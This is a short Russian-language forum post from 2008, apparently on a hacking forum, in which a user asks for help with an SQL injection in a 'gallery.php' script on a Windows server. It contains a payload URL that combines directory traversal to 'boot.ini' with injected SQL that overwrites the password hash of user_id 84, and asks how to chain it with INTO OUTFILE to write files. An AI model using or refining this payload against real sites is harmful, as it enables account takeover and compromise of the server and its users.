27.08.2008, 17:22
|
|
Участник форума
Регистрация: 17.01.2008
Сообщений: 170
С нами:
9640431
Репутация:
105
|
|
проблемка с инъекцией:
описание:
нету выводимых полей (это не проблема)
к тому же локальный "инклуд" средствами copy(), по запрсу видно, что ОС винда
проблема заключается в объединение запросов sql, можно ли объеденить с запросом INTO OUTFILE ?
Код:
gallery.php?speichern=../../../../../../../../../../../../boot.ini', user_password='d41d8cd98f00b204e9800998ecf8427e' WHERE user_id=84 +--+
|
|
|